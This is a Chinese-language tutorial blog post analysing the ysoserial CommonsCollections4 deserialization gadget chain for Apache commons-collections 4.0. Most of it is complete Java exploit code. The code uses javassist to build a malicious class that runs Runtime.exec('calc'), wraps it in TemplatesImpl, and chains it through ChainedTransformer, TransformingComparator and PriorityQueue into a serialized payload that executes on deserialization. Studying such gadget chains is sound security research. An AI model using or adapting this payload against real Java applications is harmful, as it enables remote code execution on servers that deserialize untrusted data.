ysoserial CommonsColletions4分析
其实CC4就是 CC3前半部分和CC2后半部分 拼接组成的,没有什么新的知识点。
不过要注意的是,CC4和CC2一样需要在commons-collections-4.0版本使用,3.1-3.2.1版本不能去使用,原因是TransformingComparator类在3.1-3.2.1版本中还没有实现Serializable接口,无法被反序列化。
JDK版本对于CC2和CC4来说,1.7和1.8都测试成功,下面我们就来快速构造一下payload
构造payload
CC4用的是javassist创建攻击类,使用TemplatesImpl类中的newTransformer方法触发攻击类中的静态方法
public class Demo {
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
public static void main(String[] args) throws Exception {
String AbstractTranslet="com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
//创建CommonsCollections2对象,父类为AbstractTranslet,注入了payload进构造函数
ClassPool classPool= ClassPool.getDefault();//返回默认的类池
classPool.appendClassPath(AbstractTranslet);//添加AbstractTranslet的搜索路径
CtClass payload=classPool.makeClass("CommonsCollections2");//创建一个新的public类
payload.setSuperclass(classPool.get(AbstractTranslet)); //设置CommonsCollections2类的父类为AbstractTranslet
payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");"); //创建一个static方法,并插入runtime
byte[] bytes=payload.toBytecode();//转换为byte数组
TemplatesImpl templatesImpl = new TemplatesImpl();
setFieldValue(templatesImpl, "_bytecodes", new byte[][]{bytes});
setFieldValue(templatesImpl, "_name", "HelloTemplatesImpl");
setFieldValue(templatesImpl, "_tfactory", new TransformerFactoryImpl());
templatesImpl.newTransformer();
}
}
通过ConstantTransformer、InstantiateTransformer、ChainedTransformer三个类构造出一条调用链
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(
new Class[]{Templates.class},
new Object[]{templatesImpl})
};
ChainedTransformer chain = new ChainedTransformer(transformers);
利用TransformingComparator触发chain#transform
TransformingComparator comparator = new TransformingComparator(chain);//使用TransformingComparator修饰器传入transformer对象
因为在优先级队列PriorityQueue反序列时候,满足条件即可调用到compare方法,所以利用这点来调用到TransformingComparator的compare
//创建PriorityQueue实例化对象,排序后使size值为2
PriorityQueue queue = new PriorityQueue(1);
queue.add(1);
queue.add(1);
Field field2 = queue.getClass().getDeclaredField("comparator");//获取PriorityQueue的comparator字段
field2.setAccessible(true);
field2.set(queue, comparator);//设置PriorityQueue的comparator字段值为comparator
Field field3 = queue.getClass().getDeclaredField("queue");//获取PriorityQueue的queue字段
field3.setAccessible(true);
field3.set(queue, new Object[]{templatesImpl, templatesImpl});//设置PriorityQueue的queue字段内容Object数组,内容为templatesImpl
最后几个注意点复习下:
size>= 2:对应queue.add调用两次
initialCapacity的值不能小于1:对应new PriorityQueue(1)
comparator的值要通过反射进行传入,不然会在序列化时候抛出异常
构造出的Payload:
public class payload01 {
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
public static void main(String[] args) throws Exception {
String AbstractTranslet="com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
//创建CommonsCollections2对象,父类为AbstractTranslet,注入了payload进构造函数
ClassPool classPool= ClassPool.getDefault();//返回默认的类池
classPool.appendClassPath(AbstractTranslet);//添加AbstractTranslet的搜索路径
CtClass payload=classPool.makeClass("CommonsCollections2");//创建一个新的public类
payload.setSuperclass(classPool.get(AbstractTranslet)); //设置CommonsCollections2类的父类为AbstractTranslet
payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");"); //创建一个static方法,并插入runtime
byte[] bytes=payload.toBytecode();//转换为byte数组
TemplatesImpl templatesImpl = new TemplatesImpl();
setFieldValue(templatesImpl, "_name", "xxxx");
setFieldValue(templatesImpl, "_bytecodes", new byte[][]{bytes});
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(
new Class[]{Templates.class},
new Object[]{templatesImpl})
};
ChainedTransformer chain = new ChainedTransformer(transformers);
TransformingComparator comparator = new TransformingComparator(chain);//使用TransformingComparator修饰器传入transformer对象
//创建PriorityQueue实例化对象,排序后使size值为2
PriorityQueue queue = new PriorityQueue(1);
queue.add(1);
queue.add(1);
Field field2 = queue.getClass().getDeclaredField("comparator");//获取PriorityQueue的comparator字段
field2.setAccessible(true);
field2.set(queue, comparator);//设置PriorityQueue的comparator字段值为comparator
Field field3 = queue.getClass().getDeclaredField("queue");//获取PriorityQueue的queue字段
field3.setAccessible(true);
field3.set(queue, new Object[]{templatesImpl, templatesImpl});//设置PriorityQueue的queue字段内容Object数组,内容为templatesImpl
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(queue);
oos.close();
System.out.println(barr);
System.out.println(barr.toString());
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
ois.readObject();
}
}